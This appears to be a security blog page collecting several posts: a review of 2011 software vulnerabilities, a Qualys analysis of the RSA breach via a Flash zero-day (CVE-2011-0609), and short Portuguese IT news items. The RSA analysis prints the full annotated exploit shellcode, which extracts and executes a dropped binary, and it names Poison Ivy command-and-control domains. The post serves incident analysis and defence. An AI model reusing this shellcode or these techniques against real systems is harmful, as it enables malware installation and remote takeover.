In recent years, we have seen client-side software heavily targeted by hackers in search of vulnerabilities. 2011 saw these threats become more complex and sophisticated. We saw attackers increasingly use zero-day vulnerabilities, some of which have been particularly critical. Examples of these include the vulnerability Duqu exploited (CVE-2011-3402); a Javavulnerability (CVE-2011-3544); or Adobe zero-day vulnerabilities, which were exploited in the wild.

The exploit attacks we saw this year were targeted, original, sophisticated, and well controlled.

Among the applications most targeted in the wild were Adobe Acrobat, Reader, and Flash Player; Java Runtime Environment (JRE)/Java Development KIT (JDK); and Internet Explorer. Exploit kits like Black Hole and Phoenix were really prompt to pick exploits for these applications and go after users with high success rates. We also saw browser vendors release patches several times within the year to patch critical vulnerabilities.

Attacks were successful because a high percentage of users still used unpatched versions of vulnerable software. According to a CSIS study, 37% of users still browse the web with unsecured Java versions. A Zscaler survey also reported that 56% of enterprise users utilize vulnerable versions of Adobe products, putting the onus on security administrators to deploy virtual patching products such as Trend Micro Deep Security or the OfficeScan IDF plug-in.

 

Server Vulnerabilities

Having said that, there’s an ugly side to server/OS vulnerabilities as well. Things largely remained the same in this space, as shown by the number of vulnerabilities in Windows Server 2008 and Redhat.

 

 

Credit to CVE Details as source of the above data

Cybercriminals also exploited vulnerabilities in web applications. SQL injection attacks were used to compromise millions of web pages. In two separate mass SQL injection attacks, malicious scripts were inserted into legitimate websites. The first one in July hit 8 million websites. A second wave in October affected 1 million websites. Apart from SQL injection attacks, attacks exploiting cross-site scripting (XSS), cross-site request forgery, Directory Traversal, and other vulnerabilities in web applications (e.g., PHP, WordPress, Joomla, etc.) also occurred in large numbers and will continue to do so next year.

Some of the 2011 vulnerabilities worth mentioning are:

CVE-2011-0609	Adobe Flash Player ‘SWF’ File Remote Memory Corruption Vulnerability
CVE-2011-3402	Win32k True Type Font Parsing Vulnerability
CVE-2011-3544	Oracle Java SE Rhino Script Engine Remote Code Execution Vulnerability
CVE-2011-2462	Adobe Acrobat and Reader U3D Memory Corruption Vulnerability
CVE-2011-0611	Adobe Flash Player ‘SWF’ File Remote Memory Corruption Vulnerability
CVE-2011-3192	Apache httpd Range Header Remote Denial Of Service

What Can Users Do?

To protect against attacks exploiting the above-mentioned and similar vulnerabilities, a good patch management strategy is required. To mitigate any damage during the patch cycle, a virtual patching solution should be deployed as well.

The trends that we saw in 2011 are going to continue in 2012. We will see attacks become more complicated. The defenses against these threats will have to evolve and adjust to keep users protected in 2012.

 

Olá Pessoal,

Vale a pena conferir brilhante matéria do Rodrigo Branco da Qualys. Parabéns Rodrigo!

Neste artigo, ele examina os componentes usados ​​em uma onda de ataques que aconteceram no início deste ano, primeiro tornado público pela RSA março 2011. Aqui ele apresenta os detalhes das mecânicas utilizadas para efetivar os ataques. Além disso, explica as possibilidades de melhorar as técnicas de defesa.

 

The current threat landscape around cyber attacks is complex and hard to understand even for IT pros. The media coverage on recent events increases the challenge by putting fundamentally different attacks into the same category, often labeled as advanced persistent threats (APTs). The resulting mix of attacks includes everything from broadly used, exploit-kit driven campaigns driven by cyber criminals, to targeted attacks that use 0-day vulnerabilities and are hard to fend off – blurring the threat landscape, causing confusion where clarity is most needed.

This article analyzes a specific incident – last March’s RSA breach, explaining the techniques used by the attackers and detailing the vulnerability used to gain access to the network. It further explores the possible mitigation techniques available in current software on the OS and application level to prevent such attacks from reoccurring.

Introduction

In this article, I will examine the components used in a wave of attacks that happened earlier this year, first made public by RSA in March 2011. I will also detail the exploit mechanics and explain the possibilities for improving the defense mechanisms.

The implementation of these defense mechanisms could have neutralized the attack and prevented the installation of the final malware. I believe these defensive techniques apply to malware and other infection vectors, and should be implemented on a wider scale to prevent attacks.

For researchers looking to gain a comprehensive understanding in Adobe Flash vulnerabilities, this article will detail how the exploit works, the vulnerability internals and techniques used in the attack.

For security practitioners interested in having access to a better explanation of the incident, this blog will provide a good amount of information as well, since it emphasizes specifics of the attack procedure.

The article’s content is divided into six main sections, each one discussing possible workarounds that could have helped prevent an attack. Section 1 – ”General Mechanics of the Attack” explains what the attack was all about, and is a great starting point for those who are not aware of the already public details.  Section 2 – “The Email” explains the initial mechanism used to spread the attack, which was an email sent to some specific employees of the target company.   Section 3 – “The Spreadsheet” delves into the spreadsheet attached to the email and the results on the end-user when opening it.  Section 4 -“The Exploit” discusses the actual exploit code and its payload (the shellcode, not the final, dropped malware). Next, in the section, “The Malware,” I discuss the fairly generic, straightforward malware used.  In the final “Conclusion” section of the article, I discuss possible future trends and ways to proactively protect against attacks.

General Mechanics of the Attack

The attack was delivered by an email sent to specific individuals inside the target company. The email contents are going to be further discussed in the next sections, but in essence the email contained a attachment, a spreadsheet intended to be opened using Microsoft Excel.  The spreadsheet itself included an embedded Flash object, which was configured to exploit a 0-day, i.e. previously unknown vulnerability in the Adobe Flash Player software, which is now categorized as CVE-2011-0609.

Once the Flash object ran, it installed the Poison Ivy RAT (Remote Administration Tool) included inside the Flash object to guarantee further access to the attackers.  Poison Ivy has a plethora of capabilities available to its controller such as key-logging, scanning, data exfiltration and other mechanism that are designed to help the attacker to gain deeper access to the target’s network.

The Email

 

From:  webmaster@beyond.com	Beyond is a partner known to RSA employees
To: 1 RSA employee Cc: 3 more RSA employees	Cleverly addressed to one person, with more targets on CC, looks less like SPAM
Subject: 2011 Recruitment Plan	Subject of interest to HR and Managers
Body: I forward this file for you to review.  Please, open and view it.	Too simple to look real, even accounting for current trends to simplify communication
Attachment: 2011 Recruitment Plan.xls

 

When this email was received by the mail system, it was classified as SPAM and put into the junk email folder.  The email was convincing enough though, for at least one user that moved it back to the inbox for viewing.

The Spreadsheet

Once the user opened the attached spreadsheet with Microsoft Excel 2007, the user saw the following:

 

In the default configuration of Excel 2007, the embedded Flash content is automatically parsed by the Flash player. In this case, the Flash object executed and after 2-5 seconds, the Excel program closed. The Flash object contained a second spreadsheet, apparently designed to be opened and displayed to trick the user into attributing the behaviour to a technical glitch:

 

 

While the name of the file changed, originally it was 2011 Recruitment Plan and it became crsenvironscan2, it is reasonable to assume that an end-user would not notice the change or the quick opening/closing of Excel.

The content of the final spreadsheet was unrelated to a Recruitment Plan; instead it displayed company names with research funds from the Department of Homeland Security.

As I mentioned earlier, once the spreadsheet was opened, Excel automatically launched the Flash parser. This behaviour could have been easily prevented if the following techniques were in place:

1. There is a configuration setting of Office 2007 (Trust Center, ActiveX) that would prevent the immediate execution:
2. The more modern Office 2010 version of Excel contains another helpful feature: the new Protected View Sandbox prevents the automatic parsing of such embedded objects already in the standard configuration:In such a case, the user needs to interact again in order for the exploit to work, by clicking on the “Enable Editing” option.
3. Lastly another feature that few users know about, which would have prevented this specific exploit from running, is Data Execution Prevention (DEP). DEP is a security technology that prevents applications from executing machine code stored in certain regions of memory that are marked as non-executable, a technique that is quite frequently used by exploits, for example during a buffer overflow attack. It was introduced in Windows XP SP2 around 2004 as an opt-in feature and can be activated manually through the Control Panel or network wide through a system policy.Either way, once activated it prevents the exploit under analysis from running, as program “a” is attempting an illegal operation.As DEP is enabled by default in modern versions of Windows, such as Vista and Windows 7, this vulnerability would not have run on either of these OSes (as it is going to be discussed later, there is also a dependency of operating system in the shellcode used in this attack). The same Flash vulnerability continues to exist on these systems, but DEP prevents it from executing. The exploit would have to be modified to deal with the more constrained execution environment that DEP provides.  Additionally, Windows Vista started using ASLR (Address Space Layout Randomization) which greatly difficulties the ways for bypassing DEP.

Most of this section will be related to the actual exploit code and what I did in the lab to trace its execution.  To understand the inner workings of the vulnerability, I first reduced the embedded exploit code into a small PoC only containing the minimal SWF file (Flash file) to trigger the issue.

Adobe Flash is mainly used to create rich Internet content, for example adding videos and animations to web pages, and it is installed in almost all browsers. But it is supported as well by other content displayers, such as the Adobe PDF Reader and Microsoft Office Excel.

Small Web Format (SWF) is the file format used by Flash.  Internally, Flash supports a scripting language know as ActionScript.  ActionScript  is interpreted by the ActionScript Virtual Machine (AVM), currently in version 2, while the newest version of ActionScript is 3.0. ActionScript is basically an implementation of the ECMAScript standardized language.

The script source code is compiled into segments to create the final SWF file. Those segments are called ActionScript Byte Code (ABC) segments. Each segment is described by the abcFile structure, used by the AVM to load the bytecode.

The documentation shows us that the abcFile structure is defined like:

abcFile
{
u16 minor_version
u16 major_version
cpool_info constant_pool
u30 method_count
method_info method[method_count]
u30 metadata_count
metadata_info metadata[metadata_count]
u30 class_count
instance_info instance[class_count]
class_info class[class_count]
u30 script_count
script_info script[script_count]
u30 method_body_count
method_body_info method_body[method_body_count]
}

The entire process (from the ActionScript source code to the JIT generated code) can be seen in the following diagram [1]:

 

The division into bytecode blocks depends on the jump targets, defined by the jump operators [1].  To guarantee proper execution of the generated code, the verification step tries to validate proper execution.

Most of the vulnerabilities related to Flash are due to mismatching between the verified process flow and the actual execution flow.

From the above diagram, we have:

ActionScript Source Code:

trace(“aaaaaaaa”);

The actual bytecodes:

findpropstric <q>[public]::trace         ; func trace() obj pushed
pushstring “aaaaaaaa”             ; string pushed
callpropvoid <q>[public]::trace, 1 params     ; call the func object

This will pass the verification, since it generates a safe execution flow.

If we change the first findpropstric to:

pushint 0×414141

We fail the verification process, since the callpropvoid expects an object and receives an integer.  Obviously, if for any reason this passes the verification, we have a security issue.

When there is a verification error, the AVM throws a VerifyError.  When the execution enters a method, there are three local data areas:

pushint 0×414141

operand stack segment -> Operands to the instructions (pushed/poped
from the stack by the instructions)
scope stack segment -> name lookup for the objects
group of local registers -> parameter values, local vars and others

This specific vulnerability is due to the failure of the verifier to identify when the stack state has become inconsistent after a jump to the incorrect position.  The next instructions will write to the wrong object into the ActiveScript stack, overwriting memory areas.

01823E2C   8B4A 70          MOV ECX,DWORD PTR DS:[EDX+70]
01823E2F   8D55 90          LEA EDX,DWORD PTR SS:[EBP-70]
01823E32   8945 90          MOV DWORD PTR SS:[EBP-70],EAX
01823E35   8B01             MOV EAX,DWORD PTR DS:[ECX]
01823E37   52               PUSH EDX
01823E38   6A 00            PUSH 0
01823E3A   51               PUSH ECX
01823E3B   FFD0             CALL EAX

 

The program fails in the instruction:

mov ecx, dword ptr ds:[EDX+70]

 

Trying to read from an invalid memory address.   In:

mov eax, dword ptr ds:[ecx]

The read value (if successful) will be loaded in eax and then later in

call eax

execution is transferred to that location.

In the case of the exploit at hand, the first step was to isolate the swf file in the Excel spreadsheet.

Embedded Flash code is then spraying the memory and loading another flash file in the same context to trigger the vulnerability.

The shellcode in use by the exploit uses a known technique for finding the kernel base (it does not work in Windows 7 and thus the exploit code will not work against Windows 7 platform) [2].

In [2] we have the extracted shellcode.   The shellcode will create and execute a file named a.exe. I’m providing it here with some additional comments:

; The next 6 instructions has been a well-known
; method to get the KernelBase and does not Work
; Against Windows 7
; For references: [3]
mov     eax, large fs:30h    ; PEB Base
mov     eax, [eax+0Ch] ; PEB_LDR_DATA
; (InInitOrderModuleLst)
mov     esi, [eax+1Ch]
lodsd                ; move to the next LIST_ENTRY
mov     esi, [eax+8]        ; Get KernelBase
jmp     loc_401274

; Allocates space in the stack and then defines EDI
; as a pointer to the space (to be used inside the routine)
; This space will store the hashes for the functions
; the shellcode needs
sub_401037      proc near
pop     eax
sub     esp, 200h
mov     edi, esp
mov     [edi+8], esi
mov     [edi+10h], eax      ; offset of a.exe
nop
push    dword ptr [edi+8]
push    0C0397ECh
call    get_fn_by_hash
mov     [edi+1Ch], eax      ; kernel32.GlobalAlloc
push    dword ptr [edi+8]
push    7CB922F6h
call    get_fn_by_hash
mov     [edi+20h], eax      ; kernel32.GlobalFree
push    dword ptr [edi+8]
push    7C0017A5h
call    get_fn_by_hash
mov     [edi+24h], eax      ; kernel32.CreateFileA
push    dword ptr [edi+8]
push    0FFD97FBh
call    get_fn_by_hash
mov     [edi+28h], eax      ; kernel32.CloseHandle
push    dword ptr [edi+8]
push    10FA6516h
call    get_fn_by_hash
mov     [edi+2Ch], eax      ; kernel32.ReadFile
push    dword ptr [edi+8]
push    0E80A791Fh
call    get_fn_by_hash
mov     [edi+30h], eax      ; kernel32.WriteFile
push    dword ptr [edi+8]
push    0C2FFB025h
call    get_fn_by_hash
mov     [edi+34h], eax      ; kernel32.DeleteFile
push    dword ptr [edi+8]
push    76DA08ACh
call    get_fn_by_hash
mov     [edi+38h], eax      ; kernel32.SetFilePointer
push    dword ptr [edi+8]
push    0E8AFE98h
call    get_fn_by_hash
mov     [edi+3Ch], eax      ; kernel32.WinExec
push    dword ptr [edi+8]
push    78B5B983h
call    get_fn_by_hash
mov     [edi+40h], eax      ; kernel32.TerminateProcess
push    dword ptr [edi+8]
push    7B8F17E6h
call    get_fn_by_hash
mov     [edi+44h], eax ; kernel32.GetCurrentProcess
push    dword ptr [edi+8]
push    0DF7D9BADh
call    get_fn_by_hash
mov     [edi+48h], eax      ; kernel32.GetFileSize
push    dword ptr [edi+10h]
call    dword ptr [edi+34h] ; call DeleteFileA(a.exe)
xor     esi, esi

; To locate the handle to the excel file
loc_40110F:
inc     esi            ; check open handles with size
; greater then 65536 bytes
lea     eax, [edi+60h]
push    eax
push    esi
call    dword ptr [edi+48h] ; call GetFileSize
cmp     eax, 0FFFFFFFFh
jz      short loc_40110F
cmp     eax, 10000h
jbe     short loc_40110F
mov     [edi+4], eax
mov     [edi+60h], esi
push    dword ptr [edi+4]
push    40h
call    dword ptr [edi+1Ch] ; GlobalAlloc(FileSize)
mov     [edi+5Ch], eax
push    0
push    0
push    0
push    dword ptr [edi+60h]
call    dword ptr [edi+38h] ; SetFilePointer to
; begin of file
cmp     eax, 0FFFFFFFFh
jz      short loc_401191
push    0
lea     ebx, [edi+70h]
push    ebx
push    dword ptr [edi+4]
push    dword ptr [edi+5Ch]
push    dword ptr [edi+60h]
call    dword ptr [edi+2Ch] ; ReadFile
mov     ecx, [edi+70h]
sub     ecx, 10h
mov     eax, [edi+5Ch]

; Used to identify the binary file
loc_401161:
inc     eax
cmp     dword ptr [eax], 47422E43h
jnz     short loc_401173
cmp     dword ptr [eax+4], 19890604h     ; Find in File
; 43 2E 42 47 04 06 89 19
jz      short loc_401177

loc_401173:
loop    loc_401161
jmp     short loc_401191
; —————————————————

loc_401177:
add     eax, 8
mov     [edi+14h], eax

loc_40117D:
inc     eax
cmp     dword ptr [eax], 4B635546h
jnz     short loc_40118F
cmp     dword ptr [eax+4], 19820424h
jz      short loc_40119D

loc_40118F:
loop    loc_40117D

loc_401191:
push    dword ptr [edi+5Ch]
call    dword ptr [edi+20h]
jnz     loc_40110F

; Creates the binary file
loc_40119D:
add     eax, 8
mov     [edi+18h], eax
push    0
push    80h
push    2
push    0
push    0
push    40000000h
push    dword ptr [edi+10h]
call    dword ptr [edi+24h]     ; CreateFile
mov     [edi+64h], eax
mov     dword ptr [edi+6Ch], 905A4Dh
push    0
lea     ebx, [edi+70h]
push    ebx
push    4
lea     ebx, [edi+6Ch]
push    ebx
push    dword ptr [edi+64h]
call    dword ptr [edi+30h] ; WriteFile(‘MZxx’) ->
; Re-create the header
mov     eax, [edi+18h]
sub     eax, [edi+14h]
sub     eax, 8
mov     ebx, [edi+14h]

loc_4011E3:
xor     [ebx], al
inc     ebx
dec     eax
inc     ebx
dec     eax
cmp     eax, 0
jnz     short loc_4011E3
push    0
lea     ebx, [edi+70h]
push    ebx
mov     ebx, [edi+18h]
sub     ebx, [edi+14h]
sub     ebx, 8
push    ebx
push    dword ptr [edi+14h]    ; Offset Located
push    dword ptr [edi+64h]    ; Handle Location
call    dword ptr [edi+30h]    ; WriteFile
push    dword ptr [edi+64h]    ; Handle Location
call    dword ptr [edi+28h]    ; CloseHandle
push    0
push    dword ptr [edi+10h]    ; a.exe Location
call    dword ptr [edi+3Ch]    ; WinExec(a.exe)
push    0
call    dword ptr [edi+44h]     ; GetCurrentProcess
push    0
push    eax
call    dword ptr [edi+40h]     ; TerminateProcess
sub_401037      endp

; ===== S U B R O U T I N E =====
; This subroutine is responsible for calling the functions
; based on its hash (thus providing better support to
; different addresses instead of using fixed definitions
; inside the shellcode)
get_fn_by_hash  proc near

arg_0           = dword ptr  8
arg_4           = dword ptr  0Ch

push    ebp
mov     ebp, esp
push    edi
mov     edi, [ebp+arg_0]
mov     ebx, [ebp+arg_4]
push    esi
mov     esi, [ebx+3Ch]
mov     esi, [ebx+esi+78h]
add     esi, ebx
push    esi
mov     esi, [esi+20h]
add     esi, ebx
xor     ecx, ecx
dec     ecx

loc_40123D:
inc     ecx
lodsd
add     eax, ebx
push    esi
xor     esi, esi

loc_401244:
movsx   edx, byte ptr [eax]
cmp     dh, dl
jz      short loc_401253
ror     esi, 0Dh
add     esi, edx
inc     eax
jmp     short loc_401244

loc_401253:
cmp     edi, esi
pop     esi
jnz     short loc_40123D
pop     edx
mov     ebp, ebx
mov     ebx, [edx+24h]
add     ebx, ebp
mov     cx, [ebx+ecx*2]
mov     ebx, [edx+1Ch]
add     ebx, ebp
mov     eax, [ebx+ecx*4]
add     eax, ebp
pop     esi
pop     edi
pop     ebp
retn    8
get_fn_by_hash  endp

loc_401274:
call    sub_401037
; ———————————————————–
aA_exe          db ‘a.exe’,0

 

The malware used in this case was fairly generic, most likely chosen by the attackers for its functionality and ability to evade detection by popular AV tools. It was a version of Poison Ivy, which is a RAT tool providing complete control of a victim’s machine, allowing installation of more software, monitoring of keystrokes, and other network reconnaissance activities.

The malware, a version of a toolkit available since 2005, was configured to connect back to the mincesur.com domain at good.mincesur.com. This domain had been associated with malicious activity before using names such as download.mincesur.com, good.mincesur.com, man.mincesur.com and in connection with domain wekby.com (hjkl.wekby.com, qwer.wekby.com, uiop.wekby.com). This is a good example of the importance of outbound traffic control as a security measure since those domains had been identified as malicious even before the attack by a number of security companies. It illustrates the need for a fast and reliable information exchange schema so that such domains can be blocked as soon as possible.

Conclusion

While I investigated an exploit on Adobe Flash, the sheer number of software installed on modern machines in network environments opens the door for similar attacks. The complexities of typical software packages create a huge attack surface, a fact that has been repeatedly utilized by exploit writers.

Modern defense mechanisms exist to impede the success of such attacks. They create a barrier by elevating the technical difficulty of the attack.  There is a tremendous opportunity for IT pros to turn the tables on the attackers and increase the cost of the attack to a level where all but the most determined attackers will fail. This covers the great majority of attacks, including automated attacks and those re-using previously delivered exploit codes.

Acknowledgements

I would like to thank Mikko Hypponen from F-Secure for sharing the emails they found related to this attack.  Having access to trusted sources for the data to be analyzed is very important for a technical report.

Special thanks also goes to Wolfgang Kandek, Qualys CTO, for giving me the time to work to understand the technical underpinnings of the attack and for helping me with reproducing each step. This is very time intensive part of the setup where multiple virtual machines are needed to cover all possible scenarios.

References

[1] Li, Haifei; “Understanding and Exploiting Flash ActionScript Vulnerabilities” CansecWest 2011.

[2] Villys777; “CVE-2011-0609:  Adobe Flash Player ZeroDay” http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html

[3] sk; “History and Advances in Windows Shellcoding” http://www.phrack.org/issues.html?id=7&issue=62

 

Trend Micro aponta que mensagens maliciosas custaram US$ 2,8 bilhões em perda de produtividade às europeias e US$ 20 bilhões para as norte-americanas.

Spams para anunciar falsos produtos e serviços, no intuito de direcionar a sites de phishing ou conduzir destinatários a sites maliciosos para roubar dados ou dinheiro é cada vez mais comum. No mundo corporativo, os prejuízos são enormes. Estudo da Trend Micro aponta que essa ameaça constante se traduz em perda financeira para grande parte das empresas.

“Essas mensagens custaram cerca de 2,8 bilhões de dólares em perda de produtividade às empresas europeias, enquanto as norte-americanas relataram prejuízo de 20 bilhões de dólares”, diz César Cândido, executivo da Trend Micro e especialista em segurança virtual. Segundo a companhia, quase 200 bilhões de spams são enviados todos os dias, um aumento de mais de cem vezes em relação aos 2,4 bilhões de 2002.

O levantamento mostra também que do ponto de vista empresarial, as novas tendências no cenário de spams vão além da inundação usual de e-mails em massa e incluem agora o “spear-phishing”, utilizado por cibercriminosos que desejam obter acesso a alvos específicos da organização.

Um típico ataque de spear-phishing envolve, inicialmente, uma pesquisa para determinar para quem o e-mail de phishing deve ser enviado. Para isso, os criminosos enviam spams para várias contas de e-mail de uma determinada empresa. “Eles, então, identificam para quais contas enviarão o e-mail de phishing para obter as informações de que precisam”, explica o especialista.

O spear-phishing resulta em perda financeira grave, revela. A maioria dos ataques direcionados que funcionam é persistente e construída sobre o elo mais comum, o ser humano, vítima de truques de engenharia social.

Social business

As mídias sociais também são campo de propagação de spam, aponta a pesquisa. Empresas que utilizam ferramentas do tipo podem entrar em contato com as ameaças web ao usar sites de redes sociais para marketing e promoção. Também podem causar infecções do sistema por meio de funcionários que acessam sites como Facebook e Twitter no trabalho, que resultam em perda de dados ou o roubo de informações pessoais.

Por REDAÇÃO DA COMPUTERWORLD

 

Gabriel de Freitas, analista de segurança da Real Protect, participou de entrevista com a Trend Micro sobre as novas funcionalidades do Web Gateway IWSVA 5.5. Foram colocadas os pontos principais das novas funções, dentre elas: Application control, as cotas de acesso baseadas em tempo e password override.

 

Confira a entrevista na íntegra clicando no link abaixo:

 

http://us.trendmicro.com/imperia/md/content/us/pdf/solutions/enterprisebusiness/cs_real_protect_iwsva_august2011_083111.pdf

 

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Grupo britânico usou recursos sofisticados para a ação, o que levanta a suspeita de patrocínio por parte do governo da Inglaterra.

Empresas criaram arquitetura de rede óptica que promete reduzir a complexidade no ambiente do provedor de serviços.

Juniper Networks, atuante na área de redes e data centers, e a divisão de Pesquisa e Desenvolvimento da operadora de telefonia Telefónica, a Telefonica I+D, uniram-se em parceria tecnológica e criaram nova arquitetura de rede óptica multicamadas e IP dinâmico.  De acordo com as empresas, ela é capaz de reduzir expressivamente a complexidade na rede do provedor de serviços e, ao mesmo tempo, aprimorar os custos de suportar o crescente e imprevisível tráfego conduzido por novos e emergentes aplicativos de rede.

A iniciativa das empresas foi impulsionada pela demanda criada em razão do expressivo crescimento do tráfego de rede, conduzido por vídeos, downloads diretos e novos aplicativos. Segundo elas, fica cada dia mais difícil prever os padrões de tráfego. “A capacidade de uma infraestrutura óptica de IP em se adaptar dinamicamente às mudanças e prover o mais eficiente mecanismo de transporte é fundamental para que os provedores de serviços reduzam seus Capex e Opex ao mesmo tempo em que maximizam os níveis de serviços.”

As empresas afirmam que ao usar o GMPLS (Generalized Multi-Protocol Label Switching) como mecanismo de sinalização, essa arquitetura pode se adaptar com flexibilidade e dinamismo a novos tráfegos e padrões à medida que eles atravessam a rede.

“Estamos trabalhando na definição de como as redes deverão ser construídas nos próximos cinco a dez anos, e a coordenação das camadas IP e óptica é um pilar fundamental nessa arquitetura de próxima geração”, disse Enrique Algaba, diretor de tecnologia da Telefonica I+D. ”

Para Luc Ceuppens, vice-presidente de marketing de produto do Grupo de Sistemas de Plataforma da Juniper Networks, “a filosofia da nova arquitetura é a capacidade de adaptar a rede dinamicamente aos atuais padrões de tráfego e identificar onde o tráfego deveria ser agregado para que os provedores de serviços minimizem o consumo de recursos de rede sem comprometer a confiabilidade do serviço ou reduzir a qualidade da experiência de seus usuários finais”.

Por Redação da ComputerWorld

 

Ataques começaram na madrugada de quarta-feira (22). Em alguns casos, houve roubo de informações e páginas desfiguradas.

Uma onda de ataques a sites ligados ao governo federal começou na quarta-feira (22) com a sobrecarga dos sites da Presidência da República (presidencia.gov.br) e do Governo do Brasil (brasil.gov.br). O ataque, reivindicado pela filial brasileira do grupo hacker “Lulz Security”, gerou ações semelhantes de outros grupos, inclusive alguns que não simpatizam com o Lulz Security.

O G1 criou uma lista com os ataques, separados por dia e o impacto máximo obtido pelos hackers. A lista contém ações que foram realizadas por diferentes grupos e órgãos do governo, inclusive órgãos de estados e municípios.

Por G1, em São Paulo